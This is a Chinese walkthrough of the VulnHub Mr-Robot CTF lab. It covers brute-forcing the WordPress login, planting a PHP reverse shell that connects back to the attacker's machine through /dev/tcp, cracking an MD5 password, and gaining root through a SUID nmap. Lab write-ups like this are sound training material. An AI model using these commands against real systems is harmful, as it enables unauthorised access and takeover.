vulnhub靶场【Mr-robot靶机】,分析数据包,根据回显不同进行爆破

前言

靶机:lampiao,IP地址为192.168.10.12

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

该靶机目前只剩下一个了,之前记得是有两台构成系列的。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载靶机及相关工具https://pan.quark.cn/s/fbef6e4cb164

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.10.11 -p-

注意,这里的SSH扫描出的是处于关闭状态

网站信息探测

访问80端口界面,发现这一段的开场真的有点小帅,这里毕竟是截图,看不出来,大家可以自己去测试

而且对于443端口的访问与之一样的

哇塞,这个界面有东西的,输入对应的命令,其实是进入到对应的网站目录,不过对于每一个页面,是以图片展示的,访问prepare,在浏览器的url中添加目录,无论添加哪一个都是这种页面

应该是wordpress的,点击下方的login,以及wappalyzer插件的解析,确定为wordpress

prepare

只有在初始界面,也就是类似终端的网站输入对应的命令,才会有对应的东西展示,在界面输入prepare后,会展示一段视频,啧,真的秀。这里因为kali是虚拟机,给的内存不大,所以在物理机访问,这个东西挺耗资源的

这是一个视频,其中介绍到,它们是fsociety,放到最后会有一个域名whoismrrobot.com,为了截图,我放了两遍

在界面终端继续输入fsociety,这个视频只有are you ready to join fsociety?,就不截图了

inform

继续访问下一个inform,这里是几张图片的显示,类似于通告

这是第一张图片

第二张

第三张

第四张

question

访问后,也是几张图片的显示

第一张

第二张

第三张

第四张

join

访问join,给出的话,就是给一个邮箱,假如到fsociety

网站目录爆破

使用gobuster、dirsearch、dirb等工具进行

dirsearch -u http://192.168.10.12 -x 403,404 -e zip,gz

访问readme,发现一段话,应该是提示,反正就是他不会帮助

再次访问robots.txt发现两个文件

访问fsocity.dic,发现应该是一个字典,使用curl把内容下载下来,直接访问,因为太大,导致卡顿

curl http://192.168.10.12/fsocity.dic > dic

再访问另一个文件key-1-of-3.txt,根据文件名,这应该是第一个key

之前就确定有wordpress,这里经过扫描,发现wp-login等其特具有的目录后,更加确定

漏洞寻找

自动化工具测试

使用针对该cms的工具wpscan进行测试

wpscan --url http://192.168.10.12

但是尝试枚举用户,发现没有一个用户被枚举出

数据包分析进行爆破

给出的字典应该有用的,访问login,并进行数据包抓取,这里就用到burp,因为kali内存小,所以在物理机使用burp

在登录界面,输入不存在的一个用户,发现,这里的提示是明确指出用户名不存在的

那么进行爆破测试,在burp抓取数据包,发送到intruder模块

再设置一个过滤条件,虽然burp有一个功能是可以直接进行过滤的,不过那是在专业版才有的功能,在某些考试是只能使用社区版的,所以,这里尽量不使用那个功能

这里的设置是在社区版也是可用的

然后开始爆破,注意观察设置的过滤,发现一个用户提示不一样elliot

这里提示是用户Elliot的密码错误,啧,突然想到这里对于暴力破解是没有做任何限制的,这就考察基本的思路点,对于现实碰到的条件限制,进一步思索,这里有爆破的思路即可

那么再次使用这个数据包,对用户Elliot的密码再破解,这里我依然建议使用burp,不过把资源池调高一点,也就是线程调高

依然设置过滤,不过这里需要刷新一下,重新获取新的响应包

这里需要时间,要等等,查看网上wp,确定密码为ER28-0652,检测字典文件,发现在最后,这字典太大了,以我电脑配置,这时间太长,所以我把位置调整了一下

这里也可以使用wpscan进行测试,可能也会比burp快吧,因为同样的位置,我电脑配置来说,wpscan更快

wpscan --url http://192.168.10.12 -U Elliot Elliot -P dic -t 50

登录网站后台

用户Elliot,密码为ER28-0652,以这个身份去登录

成功进入后台,那么先看插件吧,毕竟对于wordpress插件漏洞很多

在下面发现hello dolly,直接把它激活,然后进入编辑界面,测试能否编辑,发现可以,那么可以自己编写反弹shell,或者利用kali中带有的反弹shell

先更改以下代码进行测试,若不行,再更换,触发反弹shell,当然还是需要先在kali开启监听的

<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'");
?>

提权

提权至robot

首先查看wordpresss连接数据库的文件wp-config.php,反弹shell后,就在当前目录下,直接查看即可,用户名bn_wordpress,密码570fd42948,数据库名称bitnami_wordpress,端口是3306

数据库类型是mysql

并且当前目录下,有一个文件名,叫做,你永远猜不到的文件名

查看靶机内的用户,发现只有robot/home下有目录,不过查看/etc/passwd并没有指定bash

切换到/home/robot下,发现有密码文件,具有查看权限,查看发现是md5加密

robot:c3fcd3d76192e4007dfb496cca67e13b

可通过在线网站somd5.com解密,或者通过john破解也是可以,不过爆破时间感觉会很长的

最后解密为abcdefghijklmnopqrstuvwxyz

提权到robot成功,并且获得第二个key

提权至root

使用find寻找具有SUID权限文件,发现sudo,不过测试,当前用户不许sudo

find / -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

不过这里发现一个nmap具有SUID权限,可查看网站gtfobins.github.io查看用法

不过这里是进行文件写入的,这里因为是具有SUID权限,所以对于sudo提权也可以进行测试的

LFILE=/tmp/1
/usr/local/bin/nmap -oG=$LFILE test

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
/usr/local/bin/nmap --script=$TF

最终测试,下面这个可行,为什么呢,因为版本在可利用的范围内

/usr/local/bin/nmap --interactive
nmap> !sh

总结

该靶机主要考察以下几点:

  1. 对于网站信息收集,这里第一点就是网站目录的方面,然后发现字典
  2. 这里其实对于网站目录,其实在其中一个文件中,说到,你现在编程一个脚本猫了吗,也就是不要全部依赖这种工具去跑,这是作者给的警醒
  3. 然后就是使用wp-scan没有枚举出用户,通过burp抓取数据包进行分析,发现对于错误的用户名有怎样的提示,根据提示进行用户名爆破,使用前面给的字典
  4. 这里没有对爆破进行限制,就是作者的警告,不要过于依赖自动化的脚本,而不清楚原理
  5. 通过编写php脚本进行反弹shell,然后在靶机收集信息
  6. 通过暴力破解md5值,来获取robot用户的密码
  7. 最后通过SUID权限文件nmap成功提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/956253.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

上一次和英特尔的接触...

大家好啊&#xff0c;我是董董灿。 最近很多人在转发英特尔将被收购的消息&#xff08;真假不知&#xff09;。 被收购对英特尔而言&#xff0c;很悲情。 作为早期通用计算领域的老大哥&#xff0c;在 AI 时代&#xff0c;英特尔意外的被 AI 计算&#xff08;英伟达&#xf…

【网络 MAC 学习专栏 -- 如何理解 PHY 的 Link Up】

请阅读【嵌入式开发学习必备专栏 Cache | MMU | AMBA BUS | CoreSight | Trace32 | CoreLink | ARM GCC | CSH】 文章目录 OverviewClause 22/Clause 45Clause 22Clause 45 PHY Link 状态的软件实现 转自&#xff1a; 开心果 Need Car 2022年10月20日 09:50 上海 Overview PHY…

Android设备:Linux远程lldb调试

更多内容&#xff1a;XiaoJ的知识星球 目录 一、环境准备1.1 安装llvm/NDK1.2 开启lldb-server服务1.3 lldb连接lldb-server 二、使用lldb调试Android native源码2.1 运行调试2.2 .lldbinit文件 下面介绍Android设备&#xff08;Android手机为例&#xff09;&#xff0c;在Linu…

力扣动态规划-2【算法学习day.96】

前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向&#xff08;例如想要掌握基础用法&#xff0c;该刷哪些题&#xff1f;建议灵神的题单和代码随想录&#xff09;和记录自己的学习过程&#xff0c;我的解析也不会做的非常详细&#xff0c;只会提供思路和一些关…

电商项目高级篇08-springCache

电商项目高级篇08-springCache 1、整合springCache2、Cacheable细节设置 1、整合springCache 1、引入依赖 <!--引入springCache--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-cache</artifa…

模块化架构与微服务架构,哪种更适合桌面软件开发?

前言 在现代软件开发中&#xff0c;架构设计扮演着至关重要的角色。两种常见的架构设计方法是模块化架构与微服务架构。它们各自有独特的优势和适用场景&#xff0c;尤其在C#桌面软件开发领域&#xff0c;模块化架构往往更加具有实践性。本文将对这两种架构进行对比&#xff0…

grafana + Prometheus + node_exporter搭建监控大屏

本文介绍生产系统监控大屏的搭建&#xff0c;比较实用也是实际应用比较多的方式&#xff0c;希望能够帮助大家对监控系统有一定的认识。 0、规划 grafana主要是展示和报警&#xff0c;Prometheus用于保存监控数据&#xff0c;node_exporter用于实时采集各个应用服务器的事实状…

诗意与技术交织的奇妙世界

诗意与技术交织的奇妙世界 在CSDN的浩瀚星空中&#xff0c;有这样一座独特的岛屿&#xff0c;它属于酒城译痴无心剑。这是一个充满诗意与智慧的世界&#xff0c;是无心剑用文字精心构筑的精神家园。 无心剑是酒城泸州人&#xff0c;毕业于南京大学&#xff0c;基础数学专业&am…

Conv2d中groups=2时手动计算及pytorch源码验证

文章目录 1. excel 原理计算2. pytorch 源码 1. excel 原理计算 2. pytorch 源码 import torch import torch.nn as nn import torch.nn.functional as Ftorch.set_printoptions(precision3, sci_modeFalse)if __name__ "__main__":run_code 0batch_size 2in_cha…

支付宝商家转账到账户余额,支持多商户管理

大家好&#xff0c;我是小悟 转账到支付宝账户是一种通过 API 完成单笔转账的功能&#xff0c;支付宝商家可以向其他支付宝账户进行单笔转账。 商家只需输入另一个正确的支付宝账号&#xff0c;即可将资金从本企业支付宝账户转账至另一个支付宝账户。 该产品适用行业较广&am…

springboot医院信管系统

摘 要 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;各行各业相继进入信息管理时代&a…

JavaWeb项目——如何处理管理员登录和退出——笔记

一、知识点 1、WebServlet注解的使用 WebServlet注解是Servlet 3.0引入的一个特性&#xff0c;它允许开发者在Servlet类上使用注解来声明Servlet的一些属性&#xff0c;从而避免在web.xml文件中进行配置。这种方式简化了Servlet的配置过程&#xff0c;使得代码更加简洁&#…

SpringMVC (1)

目录 1. 什么是Spring Web MVC 1.1 MVC的定义 1.2 什么是Spring MVC 1.3 Spring Boot 1.3.1 创建一个Spring Boot项目 1.3.2 Spring Boot和Spring MVC之间的关系 2. 学习Spring MVC 2.1 SpringBoot 启动类 2.2 建立连接 1. 什么是Spring Web MVC 1.1 MVC的定义 MVC 是…

4. LwIP_网络数据包管理

概述 协议栈的本质&#xff1a; TCP/IP协议栈的实现&#xff0c;本质上就是对数据包的管理。在LwIP中&#xff0c;定义了一个pbuf结构体对数据包进行管理。 pbuf管理数据包的步骤&#xff1a; 1、用户产生要传输的数据 2、用户在内存堆/内存池中申请一个pbuf结构体 3、将…

鸿蒙动态路由实现方案

背景 随着CSDN 鸿蒙APP 业务功能的增加&#xff0c;以及为了与iOS、Android 端统一页面跳转路由&#xff0c;以及动态下发路由链接&#xff0c;路由重定向等功能。鸿蒙动态路由方案的实现迫在眉睫。 实现方案 鸿蒙版本动态路由的实现原理&#xff0c;类似于 iOS与Android的实…

登录认证(1):登录的基本逻辑及实现思路

登录 在当今的大部分网站、应用、游戏中&#xff0c;为了确保资源的安全性和隐私保护&#xff0c;通常需要用户先进行身份验证&#xff08;即登录&#xff09;&#xff0c;然后才能使用特定的功能和服务。这样的做法不仅增加了系统安全性&#xff0c;还能够根据用户的偏好提供…

音乐播放器实现:前端HTML,CSS,JavaScript综合大项目

音乐播放器实现:前端HTML&#xff0c;CSS&#xff0c;JavaScript综合大项目 项目概述项目视图效果一、侧边栏相关代码&#xff08;一&#xff09;HTML代码&#xff08;二&#xff09;css代码 二、登录页面&#xff08;一&#xff09;HTML代码&#xff08;二&#xff09;css代码…

【js进阶】设计模式之单例模式的几种声明方式

单例模式&#xff0c;简言之就是一个类无论实例化多少次&#xff0c;最终都是同一个对象 原生js的几个辅助方式的实现 手写forEch,map,filter Array.prototype.MyForEach function (callback) {for (let i 0; i < this.length; i) {callback(this[i], i, this);} };con…

git系列之revert回滚

1. Git 使用cherry-pick“摘樱桃” step 1&#xff1a; 本地切到远程分支&#xff0c;对齐要对齐的base分支&#xff0c;举例子 localmap git pull git reset --hard localmap 对应的commit idstep 2&#xff1a; 执行cherry-pick命令 git cherry-pick abc123这样就会将远程…

【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)

目录 Rank-l Rank-U sqli or not Rank-l username存在报错回显&#xff0c;发现可以打SSTI 本地起一个服务&#xff0c;折半查找fuzz黑名单&#xff0c;不断扔给fenjing去迭代改payload from flask import Flask, request, render_template_stringapp Flask(__name__)app…